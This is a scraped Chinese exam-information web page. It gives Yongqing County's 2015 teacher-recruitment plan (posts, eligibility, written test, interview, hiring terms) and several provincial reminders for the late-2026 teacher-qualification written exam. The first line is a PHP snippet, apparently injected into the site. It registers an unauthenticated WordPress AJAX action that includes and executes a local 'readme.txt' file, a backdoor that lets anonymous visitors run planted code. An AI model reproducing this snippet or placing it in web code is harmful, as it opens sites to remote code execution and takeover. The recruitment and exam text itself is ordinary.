if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
河北省永清县2015年教育系统教师招聘实施方案-全国教师资格考试网

河北省永清县2015年教育系统教师招聘实施方案

  为逐步改善我县教师队伍的整体结构,提高中小学师资水平,结合我县教育系统自然减员情况,报经县政府同意,决定为乡镇中小学、永清县第一中学、永清县职业技术教育中心招聘补充部分教师。为保证此项工作的顺利开展,特制定如下实施方案:
一、指导思想
以科学发展观为指导,遵循凡进必考、按需定岗、公开招聘、严格考核、择优录用的原则,明确责任,细化措施,密切配合,确保我县教师招聘工作圆满完成。
二、招聘专业及人数
全县共招聘各类教师总计60名,具体分配情况:
(一)乡镇中小学:
招聘48名教师,其中:
1、三圣口中学、刘街中学招聘教师7人,其中语文教师2人,数学教师2人,英语教师2人,美术教师1人。
2、里澜城镇中心校、三圣口乡中心校、刘街乡中心校、龙虎庄乡中心校招聘教师41人,其中语文教师11人,数学教师11人,英语教师8人,音乐教师3人,体育教师2人,美术教师2人,信息技术教师2人,幼儿教师2人。
(二)永清县第一中学:
招聘6名高中教师,其中英语教师2人,物理教师2人,化学教师2人。
(三)永清县职业技术教育中心:
1、招聘普通高中文化课教师2人,其中数学教师1人,英语教师1人。
2、招聘职业高中专业课教师2名,其中会计专业教师1名,通用技术专业教师1名。
(四)县直机关幼儿园:
招聘幼儿教师2人。
如拟招聘人数与报考人数的比例达不到1:3,则核减或取消该岗位招聘计划,通知报考人员报考其他岗位。
三、招聘对象和条件
应聘人员应具备以下条件:
(一)拥护中国共产党,热爱社会主义,拥护党和国家的各项方针、政策,热爱教育事业,有强烈的事业心和责任感,品行端正,遵纪守法。
(二)学历及教师资格要求:
1、招聘乡镇中小学教师要求:已取得教师资格,全日制普通大学专科及以上学历。应聘幼儿教师岗位的要求具备全日制普通中等学校中专及以上学历,已取得教师资格。
2、招聘永清县第一中学教师要求:已取得教师资格,全日制普通大学本科(不含专接本)及以上学历,所学专业与报考岗位学科一致。
3、招聘永清县职业技术教育中心教师要求:普通高中文化课教师要求具备全日制普通大学本科(不含专接本)及以上学历,已取得教师资格证书,所学专业与报考岗位学科一致;职业高中专业课教师要求具备全日制普通大学本科(不含专接本)及以上学历,已取得本专业的技能等级证书,原则上已取得教师资格证书(未取得教师资格证的需在招聘录用后一年内取得,否则按有关规定予以辞退)。
4、招聘县直机关幼儿园幼儿教师要求:全日制普通大学本科毕业,所学专业为幼儿教育或学前教育。
(三)招聘教师年龄30周岁以下;招聘永清县第一中学、永清县职业技术教育中心教师,有两年以上(含两年)工作经验者,年龄可放宽至35周岁以下。年龄、工作时间的计算日期截止到发布公告之日。
(四)具备正常履行职责的身体条件。
(五)应聘乡镇中小学的初中教师岗位要求具备普通高等学校大学专科及以上学历;应聘乡镇中小学英语、音乐、体育、美术、信息技术、幼儿教师岗位要求所学专业(或教师资格证的专业)与报考岗位学科一致;应聘乡镇中小学英语、信息技术两个岗位的,如果不是本专业毕业生,须通过国家英语六级等级考试、计算机国家二级等级考试。
(六)已在县人社局、县教育局报到且具备招聘所要求的其他条件。
曾因犯罪受过刑事处罚的人员和曾被开除公职的人员,在各级招考中被认定有舞弊等严重违反录用纪律行为的人员,以及有法律规定不得录用的其他情形的人员,不得报名。
四、招聘程序及时间安排
(一)发布招聘公告(2015年7月20日至7月26日)
由县公开招聘领导小组办公室(以下简称招聘办)按招聘计划,通过“廊坊人才网”、廊坊市人力资源和社会保障局网站县政府门户网站、县电视台、县人力资源和社会保障大厅电子屏幕、县教育局公开栏向社会发布招聘公告。
(二)报名和资格审查(2015年7月27日至8月2日)
招聘办按照公布的招聘计划接受毕业生报名,并严格审查相关材料。报考人员报名时携带毕业证、身份证、教师资格证等原件和一份复印件,同时准备小二寸免冠照片两张,填写《永清县教育系统招聘教师报名登记表》,招聘办对报名人员的报名资格和档案资料进行严格审查,审查合格后发给准考证。报名人员仅限报考一个岗位,报名费100元。
(三)笔试和面试
总成绩为100分。
1、笔试(2015年8月14日)
笔试为闭卷,由招聘办统一组织。按照“报什么考什么”的原则,试题满分100分。报考乡镇中小学幼儿教师岗位的考生,考试内容为现行教材中所报专业的中专知识;报考乡镇中小学教师其他岗位的考生,考试内容为现行教材中所报专业的初、高中知识,分数比例为初中知识占40%,高中知识占60%;报考永清县第一中学、永清县职业技术教育中心文化课教师岗位的考生,考试内容为现行教材所报专业的高中知识;报考永清县职业技术教育中心专业课教师岗位的考生,考试内容为现行教材中所报专业的中专知识;报考县直机关幼儿园幼儿教师岗位的考生,考试内容为现行教材中所报专业的大学本科知识。
笔试的命题、制卷、阅卷全程委托外地进行。
2、面试(2015年8月20日至21日)
面试采取试讲形式,参加试讲人员数量根据笔试成绩按所报专业需求人员数量的2倍确定。面试满分100分。
由招聘办按专业邀请外地评委为试讲人打分。县招聘办和纪检监察部门派人全程参与、监督。试讲前考生按专业抽取序列号,试讲时只向评委出示抽取人的序列号,不写出姓名、毕业学校、专业等。评委按号给分。
报考乡镇中小学幼儿教师岗位和县直机关幼儿园幼儿教师岗位的考生,试讲内容为县内现行学前教材;报考乡镇中小学教师其他岗位的考生,试讲内容为现行初中教材;报考永清县第一中学、永清县职业技术教育中心文化课教师岗位的考生,试讲内容为现行高中教材;报考永清县职业技术教育中心专业课教师岗位的考生,试讲内容为现行中专教材。报考专业分别组织进行,由评委按教材命题建立试讲题库。考生现场抽题,抽题后的准备时间为二十分钟,试讲时间二十分钟。评分评委按专业由7人组成,评委给分采取百分制,去掉一个最高分、一个最低分,其他5个评委的平均给分为试讲得分。
音乐、美术、体育和信息技术四个学科的试讲人员在试讲结束后参加专业技能测试,试讲成绩(占面试成绩的75%)与专业技能测试(占面试成绩的25%)之和为面试成绩。
(四)考核、体检、公示及聘用(2015年8月24日至8月28日)
1、考试总成绩。参加面试人员考试总成绩均采用百分制,所有参加面试人员按笔试成绩占60%、面试成绩占40%的比例计算,分学科按总成绩进行排名。
2、考察和体检。根据考生的考试总成绩,按照招聘计划1:1的比例由高分到低分的顺序确定参加考察、体检人选。人选确定后报县事业单位公开招聘领导小组审批,在县人力资源和社会保障大厅公示栏和大厅前大屏幕公布。
考察内容主要包括考察对象的政治思想、道德品质、遵纪守法、能力素质、工作态度、学习及工作表现以及是否需要回避等方面的情况。
体检标准参照修订后的《公务员录用体检通用标准(试行)》执行。
因考察、体检不合格出现缺额时,按照报考同一岗位人员的考试总成绩由高分到低分的顺序一次性递补。
3、公示。县招聘办将体检合格的人选报县招聘领导小组审批后,在县人力资源和社会保障局大厅电子屏幕和县教育局公示栏予以公布,公示七个工作日,接受社会监督。公示期间,对反映有严重问题并查有实据,不符合聘用条件的,或者公示期间放弃聘用的考生,按照考试总成绩由高分到低分的顺序一次性递补。
4、聘用。县招聘办将公示后无问题的拟聘用人选报经县招聘领导小组和有关部门同意后办理正式聘用手续。
五、聘用人员待遇
1、被聘用人员实行一年见习期,见习期间按国家有关规定执行见习期工资标准及有关福利待遇。
2、被聘用人员与用人学校签订为期六年的聘用合同(包含见习期),见习期满经考核合格的被聘用人员执行国家规定的有关毕业生定级待遇,聘用期内严禁辞职、调出。见习期满经考核不合格的被聘用人员按有关规定予以解聘。
本方案由县教育局负责解释。
咨询电话:0316-6680579。

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部